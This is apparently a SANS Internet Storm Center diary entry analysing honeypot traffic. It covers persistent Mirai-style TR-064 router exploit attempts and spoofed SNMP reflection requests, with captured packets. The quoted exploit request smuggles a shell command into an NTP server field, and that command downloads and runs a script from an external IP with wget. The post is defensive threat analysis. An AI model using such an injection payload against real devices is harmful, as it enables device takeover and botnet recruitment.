SANS ISC: What Keeps My Honeypot Busy These Days - SANS Internet Storm Center

• SANS Site Network
  • Current Site
  • Internet Storm Center
  • Other SANS Sites Help
  • Graduate Degree Programs
  • Security Training
  • Security Certification
  • Security Awareness Training
  • Penetration Testing
  • Industrial Control Systems
  • Cyber Defense Foundations
  • DFIR
  • Software Security
  • Government OnSite Training

SANS ISC InfoSec Forums

Sometimes, it isn't the new and sophisticated attacks that keep your honeypots (and with that: you) busy, but things that make you go "that works?". Looking over my honeypot today, I had a couple experiences like this. First of all, the old "TR-064 NTP Server" exploit that beca me big news when the Mirai botnet adopted it. Since then, most of the servers that hosted the follow-up code no longer deliver. But this doesn't prevent thousands of existing bots to persistently attempt the exploit. In addition, it appears that some of the less skilled but persistent attackers (the "Not so Advanced Persistent Threat") have picked up on the exploit, and try to make it work for themselves. Since they are at the lower end of the exploit food-chain, they do get even a simple exploit like TR-064 wrong. Or, and sadly that is possible as well, web servers running on these device s actually consider these requests valid:

POST /UD/act?1 HTTP/1.1
Host: 127.0.0.1:7547
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers
Content-Type: text/xml
Content-Length: 557
<?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body>  <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;>   <NewNTPServer1>`cd /tmp && /bin/busybox wget http://95.215.62.11:80/bin.sh -O - > bin.sh && sh bin.sh`</NewNTPServer1>   <NewNTPServer2></NewNTPServer2>   <NewNTPServer3></NewNTPServer3>   <NewNTPServer4></NewNT PServer
4>   <NewNTPServer5></NewNTPServer5>  </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope>

The problem with this code is that there is no empty line between headers and body, which makes the request fail. Apache responds to this with a 400 error. Over the last 6 hours, I got about 40,000 requests from around 1,000 different IPsacrosss different honeypots.

Another attack that doesn't go away is SNMP attacks from port 80. These are kind of "background trickle" that you will see if you look at your firewall logs a bit more careful. And hopefully, they will show up in your firewall as blocked or dropped. The typically I believe these requests to be spoofed and used as part of a reflective DDoS attack. Most SNMP requests not originating from port 80 do come from researchers. (University Bochum seems to be doing a survey, and of course, Shodan).

A typical SNMP request would be:
13:41:06.216683 IP 50.187.245.21.80 > a.b.c.d.161:  GetBulk(42)  N=0 M=10 .1.3.6.1.2.1.1.1 .1.3.6.1.2.1.1.9.1.3

This request will solicit a description of the system in return, which of course can be somewhat large. In my case, it is 993 bytes:

13:41:06.217446 IP a.b.c.d.161 > 50.187.245.21.80:  GetResponse(993)  .1.3.6.1.2.1.1.1.0="Linux myhost 4.4.0-59-generic #80-Ubuntu SMP Fri Jan 6 17:47:47 UTC 2017 x86_64" .1.3.6.1.2.1.1.9.1.3.1="The MIB for Message Processing and Dispatching." .1.3.6.1.2.1.1.2.0= .1.3.6.1.4.1.8072.3.2.10 .1.3.6.1.2.1.1.9.1.3.2="The management information definitions for the SNMP User-based Security Model." .1.3.6.1.2.1.1.3.0=17457385 .1.3.6.1.2.1.1.9.1.3.3="The SNMP Management Architecture MIB." .1.3.6.1.2.1.1.4.0="Me <me@example.org>" .1.3.6.1 .2.1.1.9.1.3.4="The MIB module for SNMPv2 entities" .1.3.6.1.2.1.1.5.0="flyinghorse" .1.3.6.1.2.1.1.9.1.3.5="View-based Access Control Model for SNMP." .1.3.6.1.2.1.1.6.0="Sitting on the Dock of the Bay" .1.3.6.1.2.1.1.9.1.3.6="The MIB module for managing TCP implementations" .1.3.6.1.2.1.1.7.0=72 .1.3.6.1.2.1.1.9.1.3.7="The MIB module for managing IP and ICMP implementations" .1.3.6.1.2.1.1.8.0=16 .1.3.6.1.2.1.1.9.1.3.8="The MIB module for managing UDP implementations" .1.3.6.1.2.1.1.9.1.2.1=.1.3.6.1.6.3.11.3.1.1 .1.3.6.1.2.1.1.9.1.3 .9="The MIB modules for managing SNMP Notification, plus filtering." .1.3.6.1.2.1.1.9.1.2.2=.1.3.6.1.6.3.15.2.1.1 .1.3.6.1.2.1.1.9.1.3.10="The MIB module for logging SNMP Notifications."

The source of the request was a Comcast IP. It isn't clear to me if it was spoofed and if there is something worth DDoSing at that IP, or if this is someone scanning for possible reflectors.

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn